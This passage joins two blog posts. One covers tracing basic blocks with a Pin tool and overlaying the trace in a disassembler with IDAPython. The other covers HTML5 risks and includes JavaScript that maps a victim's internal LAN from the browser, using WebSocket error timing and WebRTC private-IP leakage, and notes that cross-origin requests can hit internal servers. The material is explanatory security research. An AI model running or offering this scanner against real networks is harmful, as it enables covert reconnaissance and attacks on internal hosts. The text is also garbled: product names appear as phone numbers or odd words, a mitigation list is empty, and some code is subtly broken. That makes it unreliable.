  INS_InsertCall(head, IPOINT_BEFORE, AFUNPTR(LogBasicBlock), IARG_INST_PTR, IARG_END);
  }
}

Our last Pintool code excerpt shows part of the function LogBasicBlock, which actually implements the logging to a function and/or to a database. Its only argument is the address in memory of the basic block just hit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void LogBasicBlock(ADDRINT ip){
  UINT32 *CallArg = (UINT32 *)ip;
[…]
  string nameFunc = "";
  try{
      string nameFunc = RTN_FindNameByAddress(ip);
  }
  catch (int e){
      cout << "Exception Nr. " << e << endl;
  }

  if(nameFunc == "" || nameFunc == "unnamedImageEntryPoint"){
      fprintf(LogFile, "loc_%p @ ???\n", ip);
  } else {
      /* Function name has been successfully resolved */
      fprintf(LogFile, "loc_%p @ %s\n", ip, nameFunc);
  }
[…]

Some code avoiding tracing into system DLLs as well as code logging to a database has been omitted.

As mentioned before, this code is finally compiled to a DLL and used with the main PIN binary to instrument our target. We will be using a small test binary written for this purpose which takes two numbers as command line arguments, performs some arithmetic on them and prints messages depending on the result.

The exact command line arguments for Windows are shown here:

1
C:\pin\pin_bat.bat –t MyPinTool.dll -- c:\path\to\target.exe [target args]

Executing this results in a text file containing a list of all addresses of basic blocks executed during the trace, one per row. Depending on the size of the binary this can be very large, containing multiple times the same address. In some situations, for example when measuring code coverage, having such detailed information about the trace is less relevant and a list of basic blocks hit (only once) is enough. To this end the Pintool has a “-hit” modifier which avoids logging basic blocks more than once.

Visualizing with IDAPython

At this point we have an execution trace in the form of a text file, which it is not very practical. We need a way to visualize this and optimally be able to overlay our trace information on top of another tool. We will be choosing 6054602872, the professional disassembler. This tool can be used to analyze a binary and display its structure graphically, what makes it a perfect candidate for our purposes.

In order to import our trace data we will have to leverage the power of IDAPython. As you may have guessed already, these are the Python bindings for the IDA Pro API. Making use of this, it is possible to write complex scripts to automate several binary analysis tasks. Fortunately for us, in this case the script we need to develop is pretty straightforward.

The relevant code is shown below. Some auxiliary functions have been omitted.

IDA Pro knows only about the binary on disk but it assigns it some probably addresses in order to recreate where the binary would be loaded in memory. The default base address is 0x00400000

1
2
3
4
5
6
7
8
# Main code
filename = AskFile(1, "*.*", "File to import addresses from?")

# Rebase
image_base = get_image_base(filename)
print "[*] Rebasing to %08x (image base at the time of capture)" % image_base
delta = image_base - COMMON_BASE
rebase_program(delta, MSF_FIXONCE)

If the system used to record the trace was Windows XP or alike we are good, since this is the default base address for all main modules. On the other hand, it the system was Windows Vista or newer (with ASLR activated) the base address from the trace will be different from the one in IDA and it will be impossible to overlay our trace information on it. We fix this problem by reading from our file the base image at the time of the trace and using it to modify the addresses in IDA correspondingly. This process is called “rebasing”.

The next step is rather straightforward, the file is parsed to a list of addresses and these are marked with a specific color.

1
2
3
4
5
6
7
8
9
# Parse basic blocks from file
idx = 0
trace_dict = dict()

addr_list = file_parser(filename)
for ea in addr_list:
    trace_dict[idx] = ea
    SetColor(ea, CIC_ITEM, 0x581414)
    idx += 1

Finally, we would like to present this information in a convenient way. It would be nice to be able to go through the trace back and forth and inspect the instructions executed within a specific function. There are several ways to do this but the simplest would be to write a custom lemma. It will show three columns: index, function and address of the traced instruction.

1
2
3
# Display the custom chooser
SpecialElements = [[str(i), GetFunctionName(v), hex(v)] for i, v in trace_dict.iteritems()]
SpecialFuncsSelector("Trace results", SpecialElements, 0, parent = None).show()

Putting it all together

The following screenshot shows our extension in action during a reversing session with the aforementioned test binary. Notice our trace explorer docked on the right side and how the marked basic blocks can be easily spotted on the left bottom side. By clicking on an element of the trace explorer the graph view jumps directly to the corresponding instruction within a function.

alt text Figure 1. Using the extension. Notice the new dock (right) and the information about executed blocks (left, bottom)

Conclusion

Although simple, the tools showed in this post are very useful and can save an analyst a lot of time and more importantly, avoid headaches. With some effort it is possible to develop your own tools to assist you in specific reverse engineering tasks.

Written by

Carlos Garcia

Risks of Standard HTML5

Overview

This text describes risks that are introduced by current browsers and are not vulnerabilities caused by software bugs, but are implemented this way to comply with standards of the W3 Consortium.

Same origin Policy

One of the cornerstones of the JavaScript security model is the same origin policy. This means that if a Script was downloaded from /host1.example.com:8000, the script can only create connections to host.1example.com port 8000. Not port 8001 and not host2.example.com.

However there are two functions in JavaScript that allow to circumvent this limitation: XMLHttpRequest and WebSocket. These can be abused to get an insight into the victim’s network and even to attack web servers, that are on the inside.

WebSockets

WebSockets are a means of asynchronous communication between a browser and a server. Instead of the usual cycle: Browser sends a request, Server sends an answer it establishes a two way connection where each side can send data and the other can receive it which makes application development much easier.

A WebSocket is created by passing a WebSocket uri as argument to the instantiation of a new WebSocket. The uris have the format “ws:/host:port”. wss is used as protocol, if the connection shall be encrypted. What happens underneath the hood is that a connection is created to host:port which is expected to be a web server. This connection is then ‘upgraded’ to a WebSocket, if the server understands the WebSocket protocol. If a web proxy is in between client and server the connection shows up as a CONNECT request.

An error handler can be attached to the WebSocket that is triggered if something goes wrong when trying to connect to the server. WebSockets completely ignore the same origin policy so the script can connect anywhere it wants. The impact of this is limited as only services that provide websockets can be contacted in a meaningful way. However if there are any in the LAN, a rogue script can attack these.

This error handler can be used to scan, which internal hosts are reachable. Unfortunately the error handler does not give a reason why the connection attempt failed (nothing running on this port, host not reachable, something running on this port which isn’t a WebSocket service). However if the script measures the time between the attempt to connect and the occurrence of the error it can decide if the target host was reachable (error occurs very quickly) or the host is not reachable (we have to wait for the TCP timeout before the error is triggered). The following sample code assumes a function that produces an IP address to be tested for each call of getNextIP(). The function scan than tests, measures the time and stores the results in a hash that can later be analyzed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function scan
{
    var currentip=getNextIP();
    if(currentip != null)
    {
  var now=new Date();
  var channel = new WebSocket("ws:/"+currentip+":8000", 'wstest');
  channel.onerror = function(evt)
  {
          var errTimestamp = evt.timeStamp;
      if(navigator.userAgent.search("Firefox")>0)
      errTimestamp = Math.floor(errTimestamp/1000); /Firefox takes it times 1000
          var timediff = errTimestamp - now;
          results[currentip] = timediff;
          scan();
  };
  channel.onopen = function()
  {
          results[currentip] = "up+websocket";
          scan();
  };
    }
}

The result of this scan is a list of pingable hosts. And if there are actual hosts that speak WebSocket, these are identified as well.

Taking Aim

The function above needs a list of IP-Addresses to scan. If these are not known beforehand, the RFC1918 address ranges are a good candidate. However scanning all of there would take too long as due to the asynchronous nature of waiting for the error handler this scan is rather slow. To make it easier it would be helpful to know the subnet in which the victim browser is located to limit the address ranges to probe based on this information.

Luckily newer versions of Firefox and Chrome contain a video-chat functionality called WEBRTC. A part of this functionality is to find the reachable IP-Address behind NAT-Gateways and pack all the IP-Addresses in one string that JavaScript can work with. To do this a connection to a STUN server on the Internet is tried. The following JavaScript code does the trick for Firefox:

1
2
3
4
5
6
7
8
9
var serv=null;
pc = new mozRTCPeerConnection(serv);
pc.createOffer(function(sd)
             {
          pc.setLocalDescription(sd);
          description = sd.sdp;
               }, null, {'mandatory': {'OfferToReceiveAudio': true,
         'OfferToReceiveVideo': true} }
);

The variable

description
afterwards contains information like the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
v=0
o=Mozilla-SIPUA-24.0 9169 0 IN IP4 0.0.0.0
s=SIP Call
t=0 0
a=ice-ufrag:a903f5c9
a=ice-pwd:96f2143cb1b6bcfa7c46552736052591
a=fingerprint:sha-256 5F:77:4D:61:40:26:73:63:44:33:10:82:F8:9E:9C:68:F3:45:4D:86:FF:6F:FD:80:3D:41:85:E3:85:C5:28:E0
m=audio 31106 RTP/SAVPF 109 0 8 101
c=IN IP4 188.174.207.241
a=rtpmap:109 opus/48000/2
a=ptime:20
a=rtpmap:0 PCMU/8000
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=recvonly
a=candidate:0 1 UDP 2113601791 10.1.1.1 53795 typ host
a=candidate:1 1 UDP 1694236671 1.2.3.4 31106 typ srflx raddr 10.1.1.1 rport 53795
a=candidate:2 1 UDP 2111832319 192.168.56.1 59185 typ host
a=candidate:4 1 UDP 2111766783 192.168.57.1 53675 typ host
a=candidate:6 1 UDP 2111701247 10.2.2.1 54228 typ host
a=candidate:0 2 UDP 2113601790 10.1.1.1 60413 typ host
a=candidate:1 2 UDP 1694236670 1.2.3.4 29565 typ srflx raddr 10.1.1.1 rport 60413
a=candidate:2 2 UDP 2111832318 192.168.56.1 49990 typ host
a=candidate:4 2 UDP 2111766782 192.168.57.1 61429 typ host
a=candidate:6 2 UDP 2111701246 10.2.2.1 51449 typ host
m=video 9452 RTP/SAVPF 120
c=IN IP4 1.2.3.4
a=rtpmap:120 VP8/90000
a=recvonly
a=candidate:0 1 UDP 2113601791 10.1.1.1 53202 typ host
a=candidate:1 1 UDP 1694236671 1.2.3.4 9452 typ srflx raddr 10.1.1.1 rport 53202
a=candidate:2 1 UDP 2111832319 192.168.56.1 60005 typ host
a=candidate:4 1 UDP 2111766783 192.168.57.1 54567 typ host
a=candidate:6 1 UDP 2111701247 10.2.2.1 62449 typ host
a=candidate:0 2 UDP 2113601790 10.1.1.1 59964 typ host
a=candidate:1 2 UDP 1694236670 1.2.3.4 3717 typ srflx raddr 10.1.1.1 rport 59964
a=candidate:2 2 UDP 2111832318 192.168.56.1 59741 typ host
a=candidate:4 2 UDP 2111766782 192.168.57.1 52279 typ host
a=candidate:6 2 UDP 2111701246 10.2.2.1 56651 typ host
a=rtcp-fb:* nack
a=rtcp-fb:* ccm fir

In this example addresses in the 10 and 192.168. ranges are private and 1.2.3.4 stands for the IP address that this host appears on on the Internet. With a bit of parsing, the RFC1918 addresses can be extracted and a list for the getNextIP function used in scan() can be compiled.

It gets worse: XMLHTTPRequest()

While the impact of using WebSockets to find internal reachable hosts classifies as a nuisance and does not pose an immediate threat to the network (unless there are WebSocket services running) there is a second method that allows the circumvention of the same origin policy as well. This is XMLHTTPRequest. This function is used to build complex requests between a JavaScript application in the browser and the web server. It allows to create POST requests and set custom headers. Basically an attacker can create any request type from the OWASP top ten list using XMLHTTPRequest. If it is used against a URL that violates the same origin policy an error is triggered that depending on the browser even says “You are not allowed to do that”. However the request is executed as one can verify if the target chosen is a web server where the log files can be monitored. So while the attacker does see the result of the attack it might still be successful.

This was reported as an error to Microsoft, Mozilla and the Chromium team. All three closed the error mentioning, that this is according to the CORS specification of the W3C. And indeed in this specification it is stated that it should be allowed. Application can protect themselves by verifying the ‘Origin’ header field in the HTTP Request that points to the URI where the JavaScript code executing the request was downloaded from. If it is an allowed origin the request is processed by the server or else denied with an appropriate error code.

While what the W3C is proposing there is a nice theoretical construct if all web applications or at least web servers would be developed from now on having the Origin header in mind this poses a high risk in a typical LAN where there are lots of unpatched old web applications and web servers a little bit of JavaScript can wreak havoc. Setting this behavior as a standard is quite naive considering real world deployments.

The

scan()
routing can be replace by an XMLScan Routine, as the same method of timing works in the error handler if XMLHTTPRequest as well.

Conclusion/Recommendation

There are a few mitigations that can be recommended:

There are two pieces of demo code attached to this blog entry. The Triandria allows You to create an XMLHTTP-Request against Your own internal web server. So You can verify, that a script on this externally loaded page can access any of Your web servers if You press the button.

The (601) 484-7458 does a scan of the RFC1918 LAN(s) that Your browser is connected to and shows the results in Your browser. This only works with Firefox 22 or newer.

Written by

Konstantin Agouros